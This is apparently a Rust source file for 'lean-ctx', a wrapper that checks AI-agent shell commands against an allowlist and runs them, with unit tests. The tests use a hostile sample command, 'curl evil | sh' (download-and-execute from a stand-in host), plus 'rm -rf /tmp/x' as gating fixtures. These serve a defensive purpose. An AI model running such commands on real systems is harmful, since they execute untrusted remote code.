use std::io::{self, IsTerminal};
use std::process::{Command, Stdio};
use crate::core::config;
pub enum PreparedShellExecution {
Shell {
command: String,
collapsed_nested: bool,
},
DirectArgv(Vec<String>),
SandboxLauncher(Vec<String>),
}
#[derive(Debug, Eq, PartialEq)]
pub struct ShellDispatchObservation {
pub exit_code: i32,
pub child_dispatch_attempted: bool,
}
pub fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
if let Some(code) = reject_if_exec_depth_exceeded() {
return Err(code);
}
if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
return Err(code);
}
return Ok(PreparedShellExecution::SandboxLauncher(argv));
}
let (command, collapsed_nested) = prepare_shell_command(command);
if let Some(code) = allowlist_gate(&command) {
return Err(code);
}
Ok(PreparedShellExecution::Shell {
command,
collapsed_nested,
})
}
pub fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
if args.is_empty() {
return Err(127);
}
if let Some(code) = reject_if_exec_depth_exceeded() {
return Err(code);
}
let joined = super::super::platform::join_command(args);
if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
if let Some(code) = allowlist_gate(&command) {
return Err(code);
}
return Ok(PreparedShellExecution::Shell {
command,
collapsed_nested,
});
}
if let Some(code) = allowlist_gate(&joined) {
return Err(code);
}
Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
}
pub fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
let exit_code = match prepared {
PreparedShellExecution::Shell {
command,
collapsed_nested,
} => execute_shell_post_gate(&command, collapsed_nested),
PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
};
ShellDispatchObservation {
exit_code,
child_dispatch_attempted: true,
}
}
pub fn exec_argv(args: &[String]) -> i32 {
prepare_exec_argv(args)
.map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
}
fn execute_argv_post_gate(args: &[String]) -> i32 {
if super::super::reentry::should_pass_through() {
return exec_direct(args);
}
let cfg = config::Config::load();
let joined = super::super::platform::join_command(args);
let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
if policy.is_protected() {
let code = exec_direct(args);
crate::core::tool_lifecycle::record_shell_command(0, 0);
return code;
}
let code = exec_direct(args);
crate::core::tool_lifecycle::record_shell_command(0, 0);
code
}
fn reject_if_exec_depth_exceeded() -> Option<i32> {
if !super::super::reentry::exec_depth_exceeded() {
return None;
}
eprintln!(
"lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
command lean-ctx already spawned. Running the command raw instead of risking a \
runaway process loop. If this persists, check for a duplicate/competing shell \
integration that also wraps commands through lean-ctx.",
super::super::reentry::MAX_EXEC_DEPTH
);
Some(126)
}
fn exec_direct(args: &[String]) -> i32 {
let mut cmd = Command::new(&args[0]);
cmd.args(&args[1..])
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.stderr(Stdio::inherit());
super::super::reentry::mark_child(&mut cmd);
super::super::platform::apply_utf8_locale(&mut cmd);
let status = cmd.status();
match status {
Ok(s) => crate::shell::exit_status::exit_code(s),
Err(e) => {
tracing::error!("lean-ctx: failed to execute: {e}");
127
}
}
}
fn allowlist_must_enforce() -> bool {
let hook_child = crate::core::runtime_flags::hook_child_enabled();
let warn_only = crate::core::config::shell_policy::cli_warn_only_requested();
let interactive = io::stderr().is_terminal() && crate::core::host_env::stdin_is_terminal();
allowlist_must_enforce_inner(hook_child, agent_host_marker(), warn_only, interactive)
}
fn agent_host_marker() -> bool {
[
"CLAUDECODE",
"CLAUDE_CODE_ENTRYPOINT",
"CODEX_THREAD_ID",
"CODEX_SANDBOX",
"CURSOR_TASK_ID",
"CURSOR_AGENT",
"GEMINI_CLI",
]
.iter()
.any(|key| std::env::var_os(key).is_some_and(|v| !v.is_empty()))
}
#[allow(clippy::fn_params_excessive_bools)]
fn allowlist_must_enforce_inner(
hook_child: bool,
agent_shell: bool,
warn_only: bool,
interactive: bool,
) -> bool {
if hook_child {
return true;
}
if warn_only {
return false;
}
agent_shell || !interactive
}
fn stdout_is_regular_file() -> bool {
#[cfg(unix)]
{
use std::os::unix::io::{AsRawFd, FromRawFd};
let fd = io::stdout().as_raw_fd();
let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
file.metadata().is_ok_and(|m| m.is_file())
}
#[cfg(windows)]
{
use std::os::windows::io::{AsRawHandle, FromRawHandle};
let handle = io::stdout().as_raw_handle();
let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
file.metadata().is_ok_and(|m| m.is_file())
}
#[cfg(not(any(unix, windows)))]
{
false
}
}
fn command_has_file_redirect(cmd: &str) -> bool {
let bytes = cmd.as_bytes();
let len = bytes.len();
let mut i = 0;
let mut in_single_quote = false;
let mut in_double_quote = false;
while i < len {
let c = bytes[i];
if c == b'\\' && !in_single_quote {
i += 2;
continue;
}
if c == b'\'' && !in_double_quote {
in_single_quote = !in_single_quote;
} else if c == b'"' && !in_single_quote {
in_double_quote = !in_double_quote;
} else if c == b'>' && !in_single_quote && !in_double_quote {
if i > 0 && bytes[i - 1] == b'2' {
i += 1;
continue;
}
let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
i + 2
} else {
i + 1
};
let target: String = cmd[target_start..]
.trim_start()
.chars()
.take_while(|c| !c.is_whitespace())
.collect();
if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
i += 1;
continue;
}
if let Some(fd) = target.strip_prefix('&')
&& !fd.is_empty()
&& (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
{
i += 1;
continue;
}
if !target.is_empty() {
return true;
}
}
i += 1;
}
false
}
pub fn allowlist_gate(command: &str) -> Option<i32> {
if !crate::core::shell_allowlist::gate_registered() {
eprintln!(
"lean-ctx: no shell-allowlist policy is registered in this build; \
refusing to run the command (fail closed)"
);
return Some(126);
}
if let Err(msg) = crate::core::shell_allowlist::check_registered(command) {
if allowlist_must_enforce() {
eprintln!("{msg}");
eprintln!(
"lean-ctx: command blocked by shell allowlist. \
To allow it, run `lean-ctx allow <cmd>` in your own terminal \
(or set shell_security = \"warn\" in your config.toml)."
);
return Some(126);
}
let reason = crate::core::shell_allowlist::warn_only_reason_registered(msg.message());
if io::stderr().is_terminal() {
tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
} else {
tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
}
}
None
}
pub fn exec(command: &str) -> i32 {
prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
}
fn prepare_shell_command(command: &str) -> (String, bool) {
let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
let mut collapsed_nested = false;
let collapsed;
let command = unwrapped.as_deref().unwrap_or(command);
let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
collapsed_nested = true;
collapsed = c;
collapsed.as_str()
} else {
command
};
(command.to_string(), collapsed_nested)
}
fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
let (shell, shell_flag) = super::super::platform::shell_and_flag();
let command = crate::shell::command_text::normalize_command_for_shell(command);
let command = command.as_str();
if super::super::reentry::is_disabled() {
return exec_inherit(command, &shell, &shell_flag);
}
if should_delegate_wrapped_to_shell_default(collapsed_nested) {
return exec_shell_default(command, &shell, &shell_flag);
}
let cfg = config::Config::load();
let force_compress = crate::core::runtime_flags::compress_enabled();
let raw_mode = crate::core::runtime_flags::raw_enabled();
if raw_mode {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
if policy == super::super::output_policy::OutputPolicy::Passthrough {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
if !force_compress {
if io::stdout().is_terminal() {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
let code = exec_inherit(command, &shell, &shell_flag);
crate::core::tool_lifecycle::record_shell_command(0, 0);
return code;
}
if stdout_is_regular_file() {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
if command_has_file_redirect(command) {
return exec_inherit_tracked(command, &shell, &shell_flag);
}
super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
}
fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
let mut current = command.trim().to_string();
let mut changed = false;
while let Some(next) = strip_one_lean_ctx_exec(¤t) {
if next == current {
break;
}
current = next;
changed = true;
}
changed.then_some(current)
}
fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
super::super::reentry::is_wrapped() && !collapsed_nested
}
fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
let words = split_simple_shell_words(command)?;
if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
return None;
}
if words[1].value != "-c" && words[1].value != "exec" {
return None;
}
if words[2..].iter().any(|w| {
matches!(
w.value.as_str(),
"|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
)
}) {
return None;
}
if words.len() == 3 {
Some(words[2].value.trim().to_string())
} else {
Some(command[words[2].start..].trim().to_string())
}
}
fn is_lean_ctx_bin(word: &str) -> bool {
std::path::Path::new(word)
.file_name()
.and_then(|name| name.to_str())
.is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
}
struct SimpleShellWord {
value: String,
start: usize,
}
fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
let mut words = Vec::new();
let mut current = String::new();
let mut current_start: Option<usize> = None;
let mut chars = command.char_indices().peekable();
let mut quote: Option<char> = None;
while let Some((idx, ch)) = chars.next() {
match quote {
Some('\'') if ch == '\'' => quote = None,
Some('"') if ch == '"' => quote = None,
None if ch == '\'' || ch == '"' => {
current_start.get_or_insert(idx);
quote = Some(ch);
}
Some('"') | None if ch == '\\' => {
current_start.get_or_insert(idx);
if let Some((_, next)) = chars.next() {
current.push(next);
}
}
None if ch.is_whitespace() => {
if let Some(start) = current_start.take() {
words.push(SimpleShellWord {
value: std::mem::take(&mut current),
start,
});
}
}
Some(_) | None => {
current_start.get_or_insert(idx);
current.push(ch);
}
}
}
if quote.is_some() {
return None;
}
if let Some(start) = current_start {
words.push(SimpleShellWord {
value: current,
start,
});
}
(!words.is_empty()).then_some(words)
}
#[doc(hidden)]
pub fn sandbox_launcher_gated_command(argv: &[String]) -> String {
let script = argv.last().map_or("", String::as_str);
super::super::agent_wrapper::unwrap_agent_wrapper(script)
.map_or_else(|| script.to_string(), |u| u.rebuild())
}
fn exec_sandbox_launcher(argv: &[String]) -> i32 {
match sandbox_launcher_command(argv).status() {
Ok(s) => crate::shell::exit_status::exit_code(s),
Err(e) => {
tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
127
}
}
}
fn sandbox_launcher_command(argv: &[String]) -> Command {
let mut cmd = Command::new(&argv[0]);
cmd.args(&argv[1..])
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.stderr(Stdio::inherit());
super::super::reentry::clear_shell_default_markers(&mut cmd);
super::super::reentry::stamp_exec_depth(&mut cmd);
super::super::platform::apply_utf8_locale(&mut cmd);
cmd
}
fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
let spawn_command = super::super::platform::zsh_safe_command(command, shell);
let mut cmd = Command::new(shell);
cmd.arg(shell_flag)
.arg(&spawn_command)
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.stderr(Stdio::inherit());
super::super::reentry::mark_child(&mut cmd);
super::super::platform::apply_utf8_locale(&mut cmd);
super::super::platform::apply_profile_free_env(&mut cmd);
let status = cmd.status();
match status {
Ok(s) => crate::shell::exit_status::exit_code(s),
Err(e) => {
tracing::error!("lean-ctx: failed to execute: {e}");
127
}
}
}
fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
let spawn_command = super::super::platform::zsh_safe_command(command, shell);
let mut cmd = Command::new(shell);
cmd.arg(shell_flag)
.arg(&spawn_command)
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.stderr(Stdio::inherit());
super::super::reentry::clear_shell_default_markers(&mut cmd);
super::super::reentry::stamp_exec_depth(&mut cmd);
super::super::platform::apply_utf8_locale(&mut cmd);
super::super::platform::apply_profile_free_env(&mut cmd);
let status = cmd.status();
match status {
Ok(s) => crate::shell::exit_status::exit_code(s),
Err(e) => {
eprintln!("lean-ctx: failed to execute '{command}': {e}");
127
}
}
}
fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
let code = exec_inherit(command, shell, shell_flag);
crate::core::tool_lifecycle::record_shell_command(0, 0);
code
}
pub const STDERR_LABEL: &str = "--- stderr ---";
pub fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
match (stdout.is_empty(), stderr.is_empty()) {
(_, true) => stdout.to_string(),
(true, false) => stderr.to_string(),
(false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
(false, false) => format!("{stdout}\n{stderr}"),
}
}
#[cfg(test)]
mod nested_lean_ctx_exec_tests;
#[cfg(test)]
mod exec_tests {
#[test]
fn combine_streams_labels_stderr_on_failure() {
let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
assert_eq!(
out,
format!(
"build ok\n{}\nlinker: undefined symbol",
super::STDERR_LABEL
)
);
}
#[test]
fn combine_streams_plain_join_on_success() {
let out = super::combine_streams("step 1", "warning: noop", 0);
assert_eq!(out, "step 1\nwarning: noop");
assert!(!out.contains(super::STDERR_LABEL));
}
#[test]
fn combine_streams_single_stream_is_unchanged() {
assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
}
#[test]
fn exec_direct_runs_true() {
let code = super::exec_direct(&["true".to_string()]);
assert_eq!(code, 0);
}
#[test]
fn exec_direct_runs_false() {
let code = super::exec_direct(&["false".to_string()]);
assert_ne!(code, 0);
}
#[test]
fn exec_direct_preserves_args_with_special_chars() {
let code = super::exec_direct(&[
"echo".to_string(),
"hello world".to_string(),
"it's here".to_string(),
"a \"quoted\" thing".to_string(),
]);
assert_eq!(code, 0);
}
#[test]
fn exec_direct_nonexistent_returns_127() {
let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
assert_eq!(code, 127);
}
#[test]
fn exec_argv_empty_returns_127() {
let code = super::exec_argv(&[]);
assert_eq!(code, 127);
}
#[test]
fn prepare_exec_denies_before_dispatch() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
let prepared = super::prepare_exec("xxd");
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
assert!(matches!(prepared, Err(126)));
}
#[test]
fn prepare_exec_argv_empty_returns_127() {
assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
}
#[test]
fn execute_prepared_spawn_failure_is_attempted() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var(
"LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
"__lean_ctx_phase5_missing_binary__",
);
let prepared =
super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
.expect("test binary name is allowlisted");
let observation = super::execute_prepared(prepared);
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
assert_eq!(observation.exit_code, 127);
assert!(observation.child_dispatch_attempted);
}
#[test]
fn execute_prepared_reports_child_exit() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
let observation = super::execute_prepared(prepared);
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
assert_eq!(observation.exit_code, 0);
assert!(observation.child_dispatch_attempted);
}
#[test]
fn prepare_exec_argv_preserves_special_argument_bytes() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
let args = vec![
"printf".to_string(),
"%s|%s|%s".to_string(),
"hello world".to_string(),
"it's here".to_string(),
"a \"quoted\" thing; $HOME".to_string(),
];
let prepared = super::prepare_exec_argv(&args).unwrap();
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
match prepared {
super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
super::PreparedShellExecution::Shell { .. }
| super::PreparedShellExecution::SandboxLauncher(_) => {
panic!("direct argv must not be reparsed as a shell command")
}
}
}
#[test]
fn compatibility_wrappers_match_for_allowlisted_command() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
let shell_code = super::exec("true");
let argv_code = super::exec_argv(&["true".to_string()]);
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
assert_eq!(shell_code, argv_code);
}
#[test]
fn exec_argv_runs_simple_command() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
let code = super::exec_argv(&["true".to_string()]);
assert_eq!(code, 0);
}
#[test]
fn exec_argv_passes_through_when_disabled() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
let code = super::exec_argv(&["true".to_string()]);
crate::test_env::remove_var("LEAN_CTX_DISABLED");
assert_eq!(code, 0);
}
#[test]
fn exec_argv_enforces_allowlist_for_disallowed_command() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
let code = super::exec_argv(&["xxd".to_string()]);
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
assert_eq!(
code, 126,
"non-allowlisted command must be blocked on the -t track path"
);
}
#[test]
fn exec_argv_allows_allowlisted_command() {
let _lock = crate::core::data_dir::test_env_lock();
crate::core::shell_allowlist::install_test_gate();
crate::test_env::remove_var("LEAN_CTX_ACTIVE");
crate::test_env::remove_var("LEAN_CTX_DISABLED");
crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
let code = super::exec_argv(&["true".to_string()]);
crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
assert_eq!(code, 0, "allowlisted command must run on the -t track path");
}
#[test]
fn allowlist_enforces_in_hook_child_mode() {
assert!(super::allowlist_must_enforce_inner(
true, false, false, true
));
assert!(super::allowlist_must_enforce_inner(true, false, true, true));
}
#[test]
fn allowlist_enforces_for_non_interactive_callers() {
assert!(super::allowlist_must_enforce_inner(
false, false, false, false
));
}
#[test]
fn allowlist_enforces_for_agent_shells_with_a_terminal() {
assert!(super::allowlist_must_enforce_inner(
false, true, false, true
));
}
#[test]
fn allowlist_warns_for_interactive_humans() {
assert!(!super::allowlist_must_enforce_inner(
false, false, false, true
));
}
#[test]
fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
assert!(!super::allowlist_must_enforce_inner(
false, false, true, false
));
assert!(super::allowlist_must_enforce_inner(
true, false, true, false
));
}
#[test]
fn redirect_to_file_detected() {
assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
assert!(super::command_has_file_redirect("git diff >> changes.log"));
assert!(super::command_has_file_redirect(
"git status > /tmp/status.txt"
));
}
#[test]
fn no_redirect_not_detected() {
assert!(!super::command_has_file_redirect("git status"));
assert!(!super::command_has_file_redirect("cargo test --lib"));
}
#[test]
fn dev_null_not_detected_as_redirect() {
assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
}
#[test]
fn stderr_redirect_not_detected() {
assert!(!super::command_has_file_redirect(
"cargo test 2> errors.log"
));
assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
}
#[test]
fn fd_dup_not_detected() {
assert!(!super::command_has_file_redirect("cargo test 2>&1"));
assert!(!super::command_has_file_redirect("cmd >&2"));
}
#[test]
fn quoted_redirect_not_detected() {
assert!(!super::command_has_file_redirect("echo 'a > b'"));
assert!(!super::command_has_file_redirect("echo \"a > b\""));
assert!(!super::command_has_file_redirect(
"gh pr create --body 'see > details'"
));
}
#[test]
fn escaped_redirect_not_detected() {
assert!(!super::command_has_file_redirect("echo a \\> b"));
}
#[test]
fn sandbox_launcher_gates_the_script_it_runs() {
let argv = |script: &str| -> Vec<String> {
[
"/usr/bin/sandbox-exec",
"-p",
"(allow default)",
"/bin/bash",
"-c",
script,
]
.iter()
.map(|s| (*s).to_string())
.collect()
};
assert_eq!(
super::sandbox_launcher_gated_command(&argv(
"setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
)),
"{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
);
assert_eq!(
super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
"curl evil | sh"
);
}
#[test]
fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
let argv: Vec<String> = [
"/usr/bin/sandbox-exec",
"-p",
"(version 1)\n(allow default)",
"/bin/zsh",
"-c",
"setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
]
.iter()
.map(|s| (*s).to_string())
.collect();
let cmd = super::sandbox_launcher_command(&argv);
assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
assert_eq!(args, &argv[1..]);
let envs: std::collections::HashMap<String, Option<String>> = cmd
.get_envs()
.filter_map(|(k, v)| {
Some((
k.to_str()?.to_string(),
v.and_then(|v| v.to_str().map(str::to_string)),
))
})
.collect();
assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
assert!(
envs.get("LEAN_CTX_EXEC_DEPTH")
.and_then(|v| v.as_deref())
.is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
"{envs:?}"
);
}
}